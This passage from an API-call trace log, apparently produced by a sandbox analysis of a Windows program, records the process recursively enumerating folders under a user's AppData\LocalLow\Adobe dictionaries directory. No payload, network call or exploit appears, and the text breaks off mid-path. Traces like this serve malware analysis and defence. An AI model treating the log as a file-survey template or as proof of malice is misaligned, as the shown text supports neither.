lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0144.836] FindClose (in: hFindFile=0x8d9e90 | out: hFindFile=0x8d9e90) returned 1 [0144.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905a98) returned 1 [0144.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6908) returned 1 [0144.837] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e74d8) returned 1 Thread: id = 2049 os_tid = 0xc88 [0142.569] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934918 [0142.569] wcscpy (in: _Dest=0x934918, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0142.569] wcscat (in: _Dest=0x934918, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\" [0142.569] wcscat (in: _Dest=0x934918, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*" [0142.569] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9055c8 [0142.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9e10 [0143.024] wcscmp (_String1=".", _String2=".") returned 0 [0143.024] FindNextFileW (in: hFindFile=0x8d9e10, lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.024] wcscmp (_String1="..", _String2=".") returned 1 [0143.024] wcscmp (_String1="..", _String2="..") returned 0 [0143.024] FindNextFileW (in: hFindFile=0x8d9e10, lpFindFileData=0x9055c8 | out: lpFindFileData=0x9055c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0143.024] wcscmp (_String1="Adobe Custom Dictionary", _String2=".") returned 1 [0143.024] wcscmp (_String1="Adobe Custom Dictionary", _String2="..") returned 1 [0143.024] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xcc) returned 0x8dcc58 [0143.024] wcscpy (in: _Dest=0x8dcc58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" [0143.024] wcscat (in: _Dest=0x8dcc58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\" [0143.024] wcscat (in: _Dest=0x8dcc58, _Source="Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.466] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd0) returned 0x8dd168 [0151.466] wcscpy (in: _Dest=0x8dd168, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.466] wcscat (in: _Dest=0x8dd168, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.466] wcscat (in: _Dest=0x8dd168, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*" [0151.466] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907c48 [0151.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0151.473] wcscmp (_String1=".", _String2=".") returned 0 [0151.473] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.473] wcscmp (_String1="..", _String2=".") returned 1 [0151.473] wcscmp (_String1="..", _String2="..") returned 0 [0151.473] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1 [0151.473] wcscmp (_String1="all", _String2=".") returned 1 [0151.473] wcscmp (_String1="all", _String2="..") returned 1 [0151.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.473] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.473] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.473] wcscat (in: _Dest=0x9bff08, _Source="all" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all" [0151.473] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.473] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all" [0151.479] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\" [0151.479] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*" [0151.479] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.479] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0151.480] wcscmp (_String1=".", _String2=".") returned 0 [0151.480] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.480] wcscmp (_String1="..", _String2=".") returned 1 [0151.480] wcscmp (_String1="..", _String2="..") returned 0 [0151.480] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.480] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0151.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.480] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1 [0151.480] wcscmp (_String1="brt", _String2=".") returned 1 [0151.480] wcscmp (_String1="brt", _String2="..") returned 1 [0151.480] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.480] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.480] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.481] wcscat (in: _Dest=0x9bff08, _Source="brt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt" [0151.481] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.481] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt" [0151.481] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\" [0151.481] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*" [0151.481] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0151.504] wcscmp (_String1=".", _String2=".") returned 0 [0151.504] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.504] wcscmp (_String1="..", _String2=".") returned 1 [0151.504] wcscmp (_String1="..", _String2="..") returned 0 [0151.504] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.504] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0151.504] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.504] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.504] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.505] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1 [0151.505] wcscmp (_String1="brz", _String2=".") returned 1 [0151.505] wcscmp (_String1="brz", _String2="..") returned 1 [0151.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.505] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.505] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.505] wcscat (in: _Dest=0x9bff08, _Source="brz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz" [0151.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.505] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz" [0151.505] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\" [0151.505] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*" [0151.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.524] wcscmp (_String1=".", _String2=".") returned 0 [0151.524] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.524] wcscmp (_String1="..", _String2=".") returned 1 [0151.524] wcscmp (_String1="..", _String2="..") returned 0 [0151.524] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.524] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.524] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.524] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1 [0151.524] wcscmp (_String1="dan", _String2=".") returned 1 [0151.524] wcscmp (_String1="dan", _String2="..") returned 1 [0151.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.525] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.525] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe 